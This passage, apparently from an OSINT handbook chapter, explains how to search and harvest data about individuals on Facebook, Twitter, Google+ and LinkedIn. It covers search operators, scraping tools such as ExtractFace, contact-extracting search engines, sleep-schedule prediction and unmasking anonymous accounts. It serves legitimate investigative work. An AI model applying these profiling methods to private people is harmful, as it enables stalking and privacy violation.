Figure 5-18). Socmint This site (http://socmint.tools) facilitates fetching information using Facebook Graph Search. Facebook Graph Search is continually evolving as are its commands. Success in exploiting this search engine requires trial and error to find the query that returns the best results. You can achieve this by trying different variations of the same query Figure 5-17. The Facebook username (highlighted) is different from the name chosen by the user when creating an account (which appears in the Facebook search bar when visiting the target’s profile page) Figure 5-18. peoplefindThor Facebook search filter Chapter 5 SoCial Media intelligenCe 227 (changing the query wording) to get the desired result. Bear in mind that Graph Search can be somehow dependent on your friend and mutual friend lists; the spread and diversity of your Facebook network can affect the overall Graph Search’s generated results. Online Facebook Search Tools/Services There are many online services that simplify the process of acquiring/analyzing information from Facebook accounts. The following are the most useful ones: • Lookup ID (https://lookup-id.com): This site helps you to find Facebook personal IDs. These IDs are necessary to conduct advanced searches using Facebook Graph Search. • FindMyFbid (https://findmyfbid.com): Find your Facebook personal numeric ID. • Facebook Page Barometer (http://barometer.agorapulse.com): This site gives statistics and insight about specific Facebook profiles or pages. • Facebook Search Tool (http://netbootcamp.org/facebook.html): Conduct advanced searches on Facebook. • LikeAlyzer (https://likealyzer.com): Analyze and monitor Facebook pages. • Facebook Live video search (https://www.facelive.org): Showing live Facebook video braodcast. • Wallflux (https://www.wallflux.com): This site provides RSS feeds and updates for recent posts in Facebook groups and pages. • Facebook People/Pages/Places name directory (https://www. facebook.com/directory/people): This site lists people who have public search listings available on Facebook. • Information for Law Enforcement Authorities (https://www. facebook.com/safety/groups/law/guidelines): Offers information and legal guidelines for law enforcement/authorities when seeking information from Facebook and Instagram. Chapter 5 SoCial Media intelligenCe 228 • Who Posted What? (https://whopostedwhat.com/staging): This is a Facebook keyword search generator. It searches Facebook posts and limits the results to a specific date. • Signal (https://www.facebook.com/facebookmedia/get-started/ signal): This service is used by journalists to collect relevant trends, photos, videos, and posts from Facebook and Instagram to include them in their media broadcasts. The service is available for free for journalists. Collecting Local Copy of Target Facebook Data If you are collecting evidence from Facebook for a lawsuit, make sure to save a copy of your findings (evidence) somewhere on your computer. Facebook is managed by its users, and any public post/photo can be suddenly deleted or become private by its owner. To save a copy of the posts or public profiles, save the page using your browser by selecting File and then Save Page As. Or you can simply print the specified page on paper. You can also take a screen capture of the page and save it as an image on your local computer. OSINT analysts may need an offline version of the target’s Facebook data to make an advanced offline analysis or to create reports about a specific user profile or page. The Facebook native user interface does not provide any means of saving or printing a profile data for offline use, and saving a public profile page as an HTML page may not be a convenient solution, especially when you want to save a long page. http://le-tools. com has developed a tool named ExtractFace to automate the extraction of data from Facebook profiles. To use this tool, follow these steps: 1. Download the tool from https://sourceforge.net/projects/ extractface/?source=typ_redirect. Currently, the following prerequisites should be implemented before using this tool: • You need to access your Facebook account using the Firefox ESR edition, which can be downloaded from https://www.mozilla. org/en-US/firefox/organizations/all/. • You need the MozRepl add-on, which can be found at https:// addons.mozilla.org/en-US/firefox/addon/mozrepl/. After installing this add-on, you need to start it or set the “Activate on startup” option to start it automatically when Firefox launches (see Figure 5-19). Chapter 5 SoCial Media intelligenCe 229 • And of course you need to have a valid Facebook account, and you must sign into it when using this tool. Warning! deactivate your firewall or allow connections to port 4242 before using this tool. 2. To begin harvesting the target’s Facebook data, go to the target’s profile and right-click the ExtractFace icon—which is located in the Windows taskbar—to launch its options menu (see Figure 5-20). Figure 5-19. Starting the MozRepl add-on or setting it to start automatically upon launching Firefox Chapter 5 SoCial Media intelligenCe 230 3. The first option in the menu is Scroll and Expand. It is advisable to use this option first before collecting the target’s friends, timeline, and comments (posts, photos, and video comments) as it will automate the process of scrolling through the entire page until the end before harvesting its data. This is necessary to avoid acquiring partial results from this tool when visiting lengthy pages or when you have slow Internet connection. For example, to harvest a target’s Facebook friend list, go first to the target’s Facebook friend page, click the Scroll and Expand option to begin scrolling across the entire page, and click Dump Friends. A pop-up menu will appear asking you to select where you want to store your dump files. Select the location, and finally click the “Dump now” button (see Figure 5-21). Figure 5-20. Viewing ExtractFace options Chapter 5 SoCial Media intelligenCe 231 Most ExtractFace tool functions work with all people, pages, and group profiles. Tip! Facebook does not notify the user when someone visits their Facebook profile or views their photo or video. if you come across a locked-down Facebook profile (we mean here an account that has tightened privacy controls by hiding its friend list), you can reverse engineer the list of friends from the likes and tags associated with this account. Twitter Twitter is the most popular microblogging social media platform with an average 330 million active users monthly (as of the third quarter of 2017).ix It launched in 2006 with a main focus on sending SMS mobile communications messages online. Twitter allowed its users to post tweets with 140 characters. In 2017, Twitter expanded its characters count to allow 280 characters. Tweets can contain photos, short videos, and URLs in addition to text. Figure 5-21. Dumping a target’s Facebook friends list using the ExtractFace tool Chapter 5 SoCial Media intelligenCe 232 Twitter is mainly used to connect people with the same interests based on the content posted. To build online communities, Twitter use hashtags (prefixed with pound symbol, #) to group similar topics or subjects. People—even when they do not know each other—can engage in conversation based on a hashtag. To register on Twitter, you need to have a phone number or email address to activate your account. In addition to a password, Twitter does not enforce using real names when registering for an account. Twitter uses the name handle to mean a Twitter username. A Twitter handle begins with the @ sign followed by alphanumeric characters without spaces (e.g., @darknessgate). A Twitter handle can be used to mention someone in public tweets or to send someone a private message. When using Twitter, you can follow other Twitter public profiles, and their updates will appear in your timeline. Twitter allows you to conduct live video broadcasts using the Twitter Periscope service; you need to use the Twitter official app for this to work using your Android or Apple device. Although the nature of Twitter does not provide the wealth of personal information provided by Facebook or LinkedIn (covered next), it’s still considered a powerful social media platform that can reveal useful OSINT information about some targets when investigated properly. For instance, geolocation data, personal interests, political and religious views, trips, and friends can be revealed by checking someone’s Twitter account. Twitter Search Twitter has a simple search functionality located in the upper-right side of the screen— when using the Twitter web interface—after logging into your Twitter account. A Twitter simple search allows you to perform a basic search within the Twitter database. However, do not underestimate this little box, as you can add advanced search operators—similar to Google advanced search operators—to your search query to force it to dive deep and return accurate results, as you are going to see next. The best place to begin your Twitter search is to go to the Twitter search home at https://twitter.com/search-home (see Figure 5-22). From here, you can either conduct simple searches (e.g., search for Twitter profiles or tweets) or click “advanced search” to go to the Twitter advanced search page where you can set different filters on your search. Chapter 5 SoCial Media intelligenCe 233 Twitter Advanced Search Operators The Twitter database is getting larger daily. About 8,000 tweets are posted each second.x This is equal to 480,000 tweets each minute. To find your way within this huge volume of data, it is necessary to use advanced search operators to refine your searches. The following search operators can be incorporated into a Twitter simple search to find related tweets more precisely: • Use the “” operator to search for an exact phrase or word. Here’s an example: “OSINT intelligence”. • To search for more than one search term, use the OR operator. Here’s an example: OSINT OR intelligence (this will search for tweets containing either the word OSINT or the word Intelligence or both). • The negation operator (-) is used to exclude specific keywords or phrases from search results. Here’s an example: virus -computer. (This will search for tweets with the word Virus but not related to computer viruses.) The negation query can be expanded to exclude more words/phrases using the OR operator like this: Eiffel tower- (trip OR new year OR vacation). This will search for Eiffel tower and exclude tweets about trip and new year and vacation. Figure 5-22. Twitter home search page Chapter 5 SoCial Media intelligenCe 234 • To search for tweets containing a specific hashtag, use the (#) pound sign. Here’s an example: #OSINT (this will search for all tweets containing the OSINT hashtag). • To search for tweets sent from a specific Twitter account, use the operator from. Here’s an example: from:darknessgate (this will retrieve all tweets sent from the darknessgate account. You can filter the results based on people, photos, news, etc. (see Figure 5-23). • The to operator followed by the Twitter handle will show all tweets sent to a specific person. Here’s an example: to:darknessgate (this will retrieve all tweets sent to the darknessgate account). You can filter the results based on people, photos, news, etc., as we did with the from operator. • To find all tweets that reference a specific Twitter account, use the @ operator. Here’s an example: @darknessgate (this will retrieve all tweets that reference the darknessgate account). • To search for tweets sent from a specific location, use the near operator followed by the location name. Here’s an example: “happy birthday” near New York (this will search for tweets containing the exact phrase happy birthday and sent from near New York). • To search for tweets sent from within a specific distance from a specific location, use the within operator. Here’s an example: near:LA within:15mi (this will return tweets sent within 15 miles from Los Angeles). Figure 5-23. You can use Twitter default filters to narrow your search results within a specific result set after using the From operator Chapter 5 SoCial Media intelligenCe 235 • To search for tweets sent since a specific date, use the since operator followed by the date. Here’s an example: OSINT since:2014-11-30 (this will return all tweets containing OSINT and sent since November 11, 2014). • To search for tweets sent up to a specific date, use the until operator. Here’s an example: OSINT until:2015-11-30 (this will return all tweets containing OSINT and sent until date November 30, 2015). • To find all tweets that ask a question, use the ? operator. Here’s an example: OSINT ? (this will return all tweets containing OSINT and asking a question). The Filter operator is powerful to filter results based on different criteria. The following are examples of the most popular filters: • To search within a Twitter conversation, use the filter operator with the replies keyword. Here’s an example: OSINT Filter:replies (this will return all tweets that contain the keyword OSINT and are replies to other tweets). • Use the images keyword to return tweets that contain an image within it. Here’s an example: OSINT Filter:images (this will return all tweets that contain the keyword OSINT and have an image embedded within them). • To return tweets with video embedded with them, use the videos keyword (similar to the images filter). Here’s an example: OSINT Filter:videos. • To return tweets containing an uploaded video, Amplify video, or Periscope video, use the native_video operator. Here’s an example: OSINT filter:native_video (this will return all tweets containing the search keyword OSINT that have an uploaded video, Amplify video, or Periscope video). • To return tweets with either image or video, use the media operator. Here’s an example: OSINT Filter:media. Chapter 5 SoCial Media intelligenCe 236 • To return tweets with a news URL linked to them, use the news keyword. Here’s an example: OSINT Filter:news (this will return tweets containing OSINT within them that are mentioned by a news source). • To return tweets that contain a link (URL) within them, use the links keyword. Here’s an example: OSINT Filter:links. • To return text-only tweets, use the text keyword. Here’s an example: OSINT Filter:text. • To return tweets from verified users only (verified accounts have a blue check mark near their names), use the Verified operator. Here’s an example: OSINT Filter:verified. Tip! You can use the negation operator (-) with the Filter operator to reverse the examples already mentioned. For example, typing OSINT -Filter:images will return all tweets containing the OSINT search keyword but not containing images embedded within them. • To search for video uploaded using the Twitter Periscope service, use the Periscope filter. Here’s an example: OSINT filter:periscope (this will search for all tweets containing the OSINT keyword with a Periscope video URL). To search for tweets according to the number of likes, replies, and retweets, use the following operators: • Use the min_retweets: operator followed by a number. Here’s an example: OSINT min_retweets:50 (this will return all tweets containing the OSINT search keyword that have been retweeted at least 50 times). • Use the min_replies: operator followed a number to return all tweets with NUMBER or more replies. Here’s an example: OSINT min_ replies:11 (this will return all tweets containing the OSINT search keyword that have 11 or more replies). Chapter 5 SoCial Media intelligenCe 237 • Use min_faves: followed by a number to return all tweets with NUMBER or more likes. Here’s an example: OSINT min_faves:11 (this will return all tweets that have at least 11 or more likes and that contain the OSINT search keyword). • To exclude retweets, use the -RT operator. Here’s an example: OSINT—RT (this will search for all tweets containing the OSINT search keyword but exclude all retweets). • To search for tweets from a specific source, use the source operator followed by the source name. Here’s an example: OSINT source:tweetdeck (this will return all tweets containing OSINT and sent from tweetdeck (common sources are tweetdeck, twitter_for_ iphone, twitter_for_android, and twitter_web_client). • To limit Twitter returned results to a specific language, use the lang operator. Here’s an example: OSINT lang:en (this will return all tweets containing OSINT in the English language only). To see a list of Twitter-supported language codes, go to https://dev.twitter. com/web/overview/languages. Note! twitter allows you to save up to 25 saved searches per account. to save your current search result, click “More search actions” at the top of your results page and then click “Save this search.” Please note that you can combine more than one Twitter advanced search operator to conduct a more precise search. For example, type “OSINT intelligence” from:darknessgate -Filter:replies lang:en to get only the tweets containing the exact phrase OSINT intelligence from the user darknessgate that are not replies to other users and in the English language only. Twitter Advanced Search Page The Twitter advanced search page (https://twitter.com/search-advanced) allows you to set different filters (language, location, keywords, date/time range) to return the best results. You can search for people, hashtags, and photos in any topic (see Figure 5-24). Chapter 5 SoCial Media intelligenCe 238 Online Twitter Search Tools/Services The following are online services to help you find information on Twitter: • TweetDeck (https://tweetdeck.twitter.com): This is a social media dashboard application for managing Twitter accounts in a web browser such as Chrome or Firefox. It is popular among desktop users and gives you flexibility to manage more than one Twitter account using a simple, sleek interface. It also allows you to share an account with your team without sharing your password, as you can set different access permission on your owned accounts. TweetDeck Figure 5-24. Twitter advanced search page Chapter 5 SoCial Media intelligenCe 239 shows all Twitter-related activities (activities, messages, notifications, and searches) on one screen. You can add more column types to your screen (e.g., notification, search like, list, collection, activity, messages, mentions, followers, schedule, trending); scroll the page from left to right to see all columns. TweetDeck can be used effectively to search within Twitter and save current searches to see any updated contents reflected automatically. You can also refine your search query using advanced Twitter search operators through an easy-to-use graphical user interface. • All My Tweets (https://www.allmytweets.net): View all public tweets posted by any Twitter account on one page. • Trendsmap (https://www.trendsmap.com): This shows you the most popular trends, hashtags, and keywords on Twitter from anywhere around the world. • Foller (http://foller.me): Analysis Twitter public account data (e.g. profile public information, number of tweets and followers, topics, hashtags, mention). • First Tweet (http://ctrlq.org/first/): Find the first tweet of any search keyword or link. • Social Bearing (https://socialbearing.com/search/followers): Analyze Twitter followers of any particular account (a maximum of 10,000 followers can be loaded). • Twitter Email Test (https://pdevesian.eu/tet): This tests whether an email address is used for a Twitter account. It is useful to know whether a particular user has a Twitter account—maybe under a false name. • Twicsy (http://twicsy.com/): Search more than 7,374,661,011 Twitter photos. • Follower Wonk (https://moz.com/followerwonk/analyze): Analyze a Twitter user’s followers. • Sleeping Time (http://sleepingtime.org/): Predict the sleeping schedule of anyone on Twitter. Chapter 5 SoCial Media intelligenCe 240 • Simple Twitter Profile Analyzer (https://github.com/x0rz/tweets_ analyzer): This is a Python script. • Tag Board (https://tagboard.com): Search for hashtags on Twitter, Facebook, and Google+. • TINFOLEAK (https://tinfoleak.com): Get detailed information about any Twitter account and see what each account leaks. You need to supply your email address to receive the detailed report. • TET (https://pdevesian.eu/tet): Check whether the entered email address is used for a Twitter account. • Spoonbill (https://spoonbill.io): Monitor profile changes from the people you follow on Twitter. • Export Tweet (https://www.exporttweet.com): This is an advanced Twitter analytical service; you can download the generated report for offline usage. To unlock the full features, you need to pay. Warning! Many social media analysis services may require you to give them wide access to your twitter account to function. if you are using a dummy account, you can do this safely; otherwise, make sure not to give permission to services that require access to your account (see Figure 5-25). Chapter 5 SoCial Media intelligenCe 241 Google+ This is a social networking site owned by Google. It is theoretically considered the second largest social media site—after Facebook—in terms of number of registered users. (Google has more than 1.2 billion active monthly users of its free Gmail email service.)However, we cannot conclude that the same number of users is really using the social platform Google+. The most popular service offered by Google is Gmail, which gives free email service to any Google registered user around the globe, with excellent features in terms of reliability, availability, and storage space. To use any of Google products (e.g., YouTube, Google Drive, Gmail, Google Maps, Google Docs), you need to have a Google account. After signing up for a Google account, you can activate a Google+ account with one click. The nature of this means that the actual number of Google+ users may be much less than the announced statistics. In fact, a study conducted in 2015xi shows that the number of active users on Google+ is less than 1 percent of the total Google users. A recent statistic conducted in September 4, 2017,xii showed that the total number of unique Google+ monthly visits is 34 million, which is far less than its direct rival Facebook. Figure 5-25. Sample warning issued by Twitter about a third party that requires wide access permission to your account Chapter 5 SoCial Media intelligenCe 242 Google+ offers similar social interactions to Facebook; people can post status updates, and these updates can be text only or contain—in addition to text—a photo, poll, link (URL), or location. The privacy level of each post can be adjusted according to a user’s needs. The Google+ approach to privacy controls is through circles. Contrary to Facebook, anyone can add someone to their circle (which is conceptually a list of people) without the need for the other person to add the requester back. This approach is similar to Twitter; people can follow each other to see their updates, but a follow relationship can occur in one direction only (e.g., Nihad can follow Susan, but Susan does not have to follow Nihad). The Google+ default circle names are Friends, Family, and Acquaintances. The user can create as many circles as needed and can add other people to them. When posting updates to Google+, a user selects which circles they want to share these updates with (see Figure 5-26). Please note that circles are private, so other people will not know in which circle you have put them. We will not delve deeply into Google+ as the actual number of active users is significantly small. In the next section, we will show some techniques to search for people within this platform. Figure 5-26. Google+ privacy controls Chapter 5 SoCial Media intelligenCe 243 Searching Google+ Similar to other social networks, Google+ allows its users to have a profile that shows some personal information about them. They can adjust the privacy settings of each section of the profile. Some Google+ profile information will also appear across all Google services. The shared data with other Google services includes the following: contact information, education, places (similar to the Facebook check-in feature), links (e.g., personal blog or LinkedIn profile), personal information (gender, birthday), skills, and personal photos. To begin your search, start with the search bar located at the top of the page and type the person you want to search for. Google+ will give suggestions while you type. The returned results—on the next page—will be grouped into four categories: Communities, People and Pages, Collections, and Posts (see Figure 5-27). Google+ Advanced Search Operator Like Twitter, Facebook, and LinkedIn, Google+ has specialized search operators to help you find precise results easily. The following are the most popular ones. Note! Before using the google+ advanced search operators, you need to know how to find a google+ profile id of any user (the username). 1. log in to your google+ profile. 2. Click the profile tab on the left side of the screen. 3. look at the Url in the address bar. the set of characters after http://plus.google.com/ is your google id (see Figure 5-28). Figure 5-27. Searching within Google+ using its built-in search functionality Chapter 5 SoCial Media intelligenCe 244 4. to see other users’ google ids, go to each user profile and check the Url in the address bar for the target google profile id. please note that many google+ profiles are still using numbers. however, active users have the option to use a customized Url that reflects their real names. Fetching google+ ids composed of letters is similar to ones with numbers; you need to copy the letters from the Url (beginning at the +sign). • To search for hashtags—similar to Twitter—use the pound (#) symbol. Here’s an example: #OSINT. • Use the form operator to search for posts posted by a specific user. Here’s an example: from: 106061931199710505959 (replace the number with your target Google ID, which can also be composed of letters for some accounts). • To search for posts by specific type of content, uses the has search operator. Here’s an example: OSINT has:photo (this will return all posts containing OSINT that have an image embedded within them). The photo part can be replaced with any of the following types: attachment, poll, video, doc, slides, spreadsheet. Figure 5-28. Extracting the Google+ ID from a URL Chapter 5 SoCial Media intelligenCe 245 • To search for posts before or after a specific date, use the before or after operator. The date format should be as follows: YYYY- MM- DD. Here’s an example: OSINT before:2017-01-16 | OSINT after:2018-01-01. • To find posts commented on by a specific user, use the commenter operator followed by the target Google ID. Here’s an example: commenter:106061931199710505959. • To find all posts that mention a specific user, use the mention operator. Here’s an example: mention: 106061931199710505959. • To search for posts in a specific community or collection, use the in operator. Before giving examples on how to search within communities/collections, follow these steps to find the community or the collection ID on Google+. 1. Log in to your Google+ profile. 2. Go to the target community/collection, check the browser address bar, and copy the string of numbers and letters at the end of the URL (see Figure 5-29). • To search within Google+ communities, use [Search Keyword] in:community (replace the word community with the target’s community ID). Here’s an example: pentesting in:112627574116901792152 (this will search for the keyword pentestingin the target’s community, which has the Google+ ID 112627574116901792152). Figure 5-29. Community ID (highlighted in colors) extracted from Google+ community URL Chapter 5 SoCial Media intelligenCe 246 • To search within Google+ collections, use [Search keyword] in:collection (replace the word collection with the target’s collection ID). Here’s an example: hacking in:gAAAZ (this will search for hacking within a collection named gAAAZ). • Google+ allows you to use the three logical operators (AND, OR, NOT), but you must write them in capital letters. Here’s an example for using each one: • Use the NOT operator for negation. Here’s an example: from:106061931199710505959 NOT has:photo (this will search for all posts sent by the user whose Google ID 106061931199710505959 and not containing a photo). Please note that the NOT operator can be replaced with the minus sign (-) (from:106061931199710505959—has:photo). • The AND operator is used to search for multiple search keywords. Google+ will automatically add it when separating your search keywords with a space, so there is no need to add it manually. Here’s an example: from:106061931199710505959 AND from:101607398135470979957 (this will search for posts from two Google+ accounts). • The OR operator is used to search posts for one or more search keywords. Here’s an example: OSINT has:doc OR has:photo OR has:spreadsheet (this will search for the keyword OSINT in posts that contain doc or photo or spreadsheet within it). Using Google to Search Within Google+ The Google search engine can be used effectively to search within Google+. As you have done many times before, use the site operator to limit your search to Google+ only (site:plus.google.com). Here are some examples: • “PERSON NAME” site:plus.google.com (replace PERSON NAME with target name) • “Work at COMPANY NAME” site:plus.google.com (replace COMPANY NAME with target company) Chapter 5 SoCial Media intelligenCe 247 Searching Google+ Using a Google Custom Search Engine Here are the most popular Google custom search engines to search within Google Plus profiles: • Google+ Collections & Communities (http://goo.gl/A8MB7z) • Google Plus Stalker (https://cse.google.com/cse/publicurl?cx=0 01394533911082033616%3Asvzu2yy2jqg) • Google+ Photos Custom Search Engine (https://cse.google.com/ cse/publicurl?cx=006205189065513216365:uo99tr1fxjq) • Google-Plus Profiles (https://cse.google.com/cse/publicurl?cx= 009462381166450434430:cc5gkv2g7nk) • Retrieve Google+ profiles that have an email address and phone number shared publicly (https://cse.google.com/cse/publicurl? cx=009462381166450434430:cotywcrgpru) Other Useful Services for Google+ Here are some more sites to check out: • Google+ to RSS (https://gplusrss.com): Create an RSS feed of any Google+ profile or page. The free version allows for two feeds. • Google+ User Feed (http://plusfeed.frosas.net): With this site, you can monitor the feeds of Google+ users. It’s useful to monitor your target’s posts without visiting their Google+ page. LinkedIn LinkedIn is a social networking service dedicated to professional interactions in the business world. Individuals maintain a profile—similar to a résumé—where they present their skills, employment history, and work/project achievements, while corporations maintain a page to promote their business activities and announce vacancies. LinkedIn started in 2003, so it is considered among the older social media sites. LinkedIn offers its service in 200 countries, and its interface supports 20 languages. The majority of LinkedIn users are in the United States; the second largest segment comes from India followed by Brazil. In December 2016, Microsoft acquired LinkedIn. Currently, LinkedIn has more than 546 million active users worldwide.xiii Chapter 5 SoCial Media intelligenCe 248 To have a LinkedIn profile, you must supply your first and last names, email, and a password. LinkedIn has a policy to enforce using real names only; actually it does not make sense to have a false profile here as the essence of LinkedIn is to make connections in the business world, and you need to offer real information to make useful business connections. For privacy-minded people, LinkedIn offers different access permissions that allow each user to tailor their profile’s viewable data. The majority of LinkedIn contents cannot be seen without first logging into your LinkedIn account. If you try to see a LinkedIn profile while you are not logged in, you will encounter a page asking you to register or sign into your account (see Figure 5-30). Some LinkedIn users set high privacy control settings on their accounts to prevent other LinkedIn members from viewing parts of their profile—including the profile picture— unless they become connected on LinkedIn. Individual profiles on LinkedIn (see Figure 5-31) hold their name, profession, education, job history (current and previous employment), featured skills and endorsements, recommendations, accomplishments, languages spoken, honors and Figure 5-30. A profile view when the requester is not logged into LinkedIn Chapter 5 SoCial Media intelligenCe 249 awards, projects, and interests. People can connect with other professionals on LinkedIn; they can also follow other people or corporate pages, and their updates will appear in the user timeline feed. LinkedIn Search While you are not logged into LinkedIn, you can perform a simple search for people using their first and last names. The search form is located at the bottom of the home page (see Figure 5-32). Figure 5-31. Sample LinkedIn individual profile showing author profile on LinkedIn Chapter 5 SoCial Media intelligenCe 250 The result of a LinkedIn search—while you are not logged—is a list of matched names with a summary for each one. If you want to access more information about any profile, you need to log in to LinkedIn. For logged-in users, LinkedIn provides a search bar on top of the page to search for people, jobs, posts, companies, groups, and schools. Using this search bar, you can begin your simple search, and after fetching the results, you can refine your results set using LinkedIn advanced filters. For example, to search for the keyword Apress, type the search keyword Apress in the search bar and hit the Enter button. (Note that while typing your search keywords, LinkedIn will give search suggestions that appear in the drop-down list as you type.) Look at the top of the results page and click All Filters (see Figure 5-33) to filter the results according to your needs (see Figure 5-34). Please note that some LinkedIn pages may display LinkedIn search filters on the right side of the page. Figure 5-32. Using simple LinkedIn search form located on home page next to “Find a colleague” section to search for people while you are not logged into LinkedIn Figure 5-33. Accessing LinkedIn advanced search filters to narrow down your results Chapter 5 SoCial Media intelligenCe 251 Warning! Whenever you visit someone’s profile on linkedin, your visit gets recorded, and the visited profile will know about it. You can surf linkedin anonymously—after changing your privacy setting (profile viewing options), but you will in turn lose the ability to know who viewed your profile. please note that users with premium linkedin accounts will know who viewed their profile even when the visitor uses linkedin in private mode. LinkedIn advanced search allows you to search according to the target’s first and last names, company, school, and title. You can also specify the geographical location of the target to limit your search to one area only. The search can be refined to add other LinkedIn members who might have a connection with this target. In addition, you can filter according to profile language and target current/previous work. Figure 5-34. LinkedIn advanced search filters Chapter 5 SoCial Media intelligenCe 252 Advanced LinkedIn Search Operators Similar to Twitter, LinkedIn allows you to use advanced search operators to refine your search. The following are the most popular ones: • To search for an exact phrase, enclose it in quotation marks. The same technique can be used to search for profiles that have multiple words. Here’s an example: “OSINT intelligence” (this will search for the exact phrase enclosed within the quotes). • Use the NOT operator to exclude a particular term. Here’s an example: developer NOT designer. • Use the OR operator to include one or more terms together. Here’s an example: developer OR designer (searches for either a developer or a designer or both). • Use the AND operator to include two or more terms together. Here’s an example: developer AND designer (searches for both designer and developer). There’s no need to use the AND operator in your search because LinkedIn will add it automatically when you search for more than one term together; just enter a space between your search terms. • Use parentheses to combine search terms. Here’s an example: penetration tester NOT (developer OR designer). This will search for a penetration tester and ignore both developer and designer from search results. • You can leverage Google to search within LinkedIn using the Google site operator. Here’s an example: “Nihad Hassan” site:linkedin.com. Searching LinkedIn Using a Google Custom Search Google custom search engines can become handy to retrieve some results that cannot be fetched easily using typical search engines. The following are a selected set of Google custom searches that prove useful in retrieving data from LinkedIn: • Recently Updated Profiles (https://cse.google.com/cse/public url?cx=009462381166450434430:luit7gbqx2a): This will retrieve recently updated profiles from LinkedIn. Chapter 5 SoCial Media intelligenCe 253 • LinkedIn Contact Extractor (https://cse.google.com/cse/publi curl?cx=001394533911082033616:tm5y1wqwmme): This will extract LinkedIn profiles that have their contacts publicly accessible. The extracted information includes the Contact, Email, Email2, and Email3 fields. • LinkedIn Résumés (https://cse.google.com/cse/publicurl?cx=0 10561883190743916877:qa_v6ioerxo#gsc.tab=0): This will search for updated LinkedIn profiles that have been updated within the past month or two. • LinkedIn People Finder (International) (https://cse.google.com/ cse/home?cx=009679435902400177945:psuoqnxowx8): Filter the results according to the following countries: United States, Canada, United Kingdom, Ireland, India, New Zealand, China, and Australia. For your OSINT search work, LinkedIn is considered the first place to search for people who work in a particular profession to find their employment history. For instance, you can figure out a user’s experience by seeing their endorsement skills and employment history. The people who endorse the target can also become a target for your search to see their relationship with the main target (e.g., their work relationships, date when worked together, and which projects they worked on). Remember to adjust your account privacy settings to prevent others from knowing your identity when conducting searches on LinkedIn. General Resources for Locating Information on Social Media Sites There are many online services that can be used—in accordance with the search techniques already discussed—to find useful information about any target who has a presence on one or more of the social media sites. • Buzz Sumo (http://buzzsumo.com): Find the most shared topic or subject that is currently trending on major social media platforms. • Key Hole (http://keyhole.co): This offers hashtag and keyword tracking across different social media sites; you can track Twitter accounts, mentions, and URLs. Chapter 5 SoCial Media intelligenCe 254 • MIT PGP Public Key Server (http://pgp.mit.edu): Search on the PGP Public Key Server, which can reveal the target’s email address. You can use it to conduct further investigations if a target uploaded their public key to such servers. Note! You can see a list of all pgp public key servers and check their status at https://sks-keyservers.net/status. Other Social Media Platforms We mentioned the most popular social media sites in this chapter. However, talking about all social platforms that exist in the world today would require a book on its own. There are hundreds of active social media sites in the world, and some of them are popular within their own societies only (like the Chinese sites). Table 5-1 lists the other—less popular— social media sites that must also be considered when conducting online investigations. Table 5-1. Less Popular Social Media Sites Name Category URL Comments International Sites reddit Social news https://www.reddit.com Social news aggregation, web content rating, and discussion website instagram photo sharing https://www.instagram. com/?hl=en tumblr Microblogging https://www.tumblr.com tinder location-based social search mobile app https://tinder.com pinterest Social network www.pinterest.com Multimedia-sharing website Flickr photo sharing https://www.flickr.com classmates Social sharing www.classmates.com (continued) Chapter 5 SoCial Media intelligenCe 255 Pastebin Sites Pastebin is a text-sharing service; it allows any Internet user to post a large amount of text data without even registering at the Pastebin site. Although it is intended to share legitimate data, many black hat hackers are using it to distribute stolen data such as compromised social media accounts (username and passwords), private IP addresses and subnets belonging to various corporations around the world, and user credentials taken from different breached online services. Table 5-1. (continued) Name Category URL Comments China Qzone Social network http://qzone.qq.com largest Chinese social networking site with more 500 million active users Sina Weibo Microblogging social platform http://weibo.com/ a mix between Facebook and twitter Baidu Social forum network https://tieba.baidu. com/index.html Russia Moemesto. ru Bookmarking service http://moemesto.ru Vkontakte Social network https://vk.com popular in russia, Ukraine, Belarus, and Kazakhstan diary.ru Bookmarking site www.diary.ru Other Countries draugiem Social network www.draugiem.lv latvia hatena Bookmarking site http://b.hatena.ne.jp Japan Facenama Social network www.facenama.com iran taringa Social network www.taringa.net latin america Chapter 5 SoCial Media intelligenCe 256 The following are some popular Pastebin sites and services: • Pastebin (https://pastebin.com/trends): This is a text-sharing service. • PasteLert (https://andrewmohawk.com/pasteLert): This is a Pastebin alerting service dedicated to the Pastebin.com website. • Custom PasteBins Search Tool (https://inteltechniques.com/ osint/menu.pastebins.html): This custom search page indexes 57 paste sites. • Dump Monitor (https://twitter.com/dumpmon): This is a Twitter account that monitors multiple paste sites for password dumps and other sensitive information. Social Media Psychological Analysis Social media sites have become integrated into our daily lives. People are using them increasingly to publish all types of digital contents online. Up until now, we have focused on harvesting data from social sites. However, there is a point that we should not omit when conducting analysis of the harvested data: the psychological status of the person posting the contents on their profile can also give important information, even more than the content itself (in some cases). For instance, the true identity of an anonymous Twitter account can be revealed by performing linguistic analysis of the suspect account. In addition, suspects can be tracked online by examining the way they use language when they chat or when they broadcast their thoughts online (for example, the way a target uses capitalization, omits or includes words , and pronounces some words). The advances in artificial intelligence systems will make analyzing social media accounts more effective and will help investigators uncover the true identity of anonymous social media accounts. Note! analyzing online content—especially content found on social media platforms—becomes important to the forensic context of crime investigation, oSint intelligence, cyber-exploits, trials, and judicial procedures. this science is known as forensic linguistics. Chapter 5 SoCial Media intelligenCe 257 Analyzing the target’s psychological status of their online content is outside this book’s scope. However, there are some online services that can aid you to analyze online contents and predict the psychological status of the target upon posting it. Tone Analyzer This online service (https://tone-analyzer-demo.mybluemix.net) offers free linguistic analysis to detect human feelings—such as joy, fear, sadness, anger, analytical, confident, and tentative tones—found in text such as tweets, emails, and Facebook messages (see Figure 5-35). Watson Tone Analyzer This (https://www.ibm.com/watson/services/tone-analyzer/) is a cloud-based server created by IBM. It analyzes emotions and tones in online content (e.g., Facebook posts, reviews, and tweets) to predict the emotional status of the writer. This service can be used in different scenarios—other than intelligence—such as understand customer needs to better serve them. Figure 5-35. Performing linguistic analysis to understand a text writer’s psychological status Chapter 5 SoCial Media intelligenCe 258 Facebook and Twitter Prediction This site (https://applymagicsauce.com/demo.html) predicts your psycho- demographic profile. The service can analyze your Facebook and Twitter posts and give insight about your personality, which is useful to see what your current social profile says about you or about any target. You can also insert any text in the website to predict the psycho-demographic profile of its author. Fake Sport This site (https://www.fakespot.com) analyzes Amazon, Yelp, TripAdvisor, and Apple App store user reviews to check the credibility of them. Review Meta With this site (https://reviewmeta.com) you can investigate user reviews on Amazon to check which one is likely to be fake or misleading. TweetGenie This (www.tweetgenie.nl/index.php) is a Dutch project that predicts the target’s age and gender from a Twitter username. Summary In this chapter, we covered the most popular social media sites worldwide, focusing on the one with the highest number of monthly active visitors. In today’s digital age, it is 